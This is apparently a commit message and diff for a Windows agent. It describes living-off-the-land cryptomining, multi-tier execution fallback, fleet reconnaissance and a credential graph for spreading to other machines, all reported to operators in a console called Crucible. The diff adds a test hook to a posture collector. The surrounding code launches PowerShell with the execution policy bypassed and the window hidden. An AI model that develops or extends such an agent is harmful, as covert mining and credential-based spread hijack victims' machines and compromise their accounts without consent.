Add tiered LOTL mining onion and fleet recon so agents can fallback across execution tiers while operators see spread and vuln posture in Crucible. Includes triple-onion chain, spread cred graph, and full Go/TS/E2E test validation.

agent/client/posture_windows.go

@@ -176,6 +176,9 @@ $p | ConvertTo-Json -Depth 4 -Compress
 `
 
 func collectPosture() *PostureReport {
+	if postureCollector != nil {
+		return postureCollector()
+	}
 	out, err := silentCombinedOutput(
 		"powershell", "-NoProfile", "-ExecutionPolicy", "Bypass", "-WindowStyle", "Hidden", "-Command",
 		buildPostureScript(),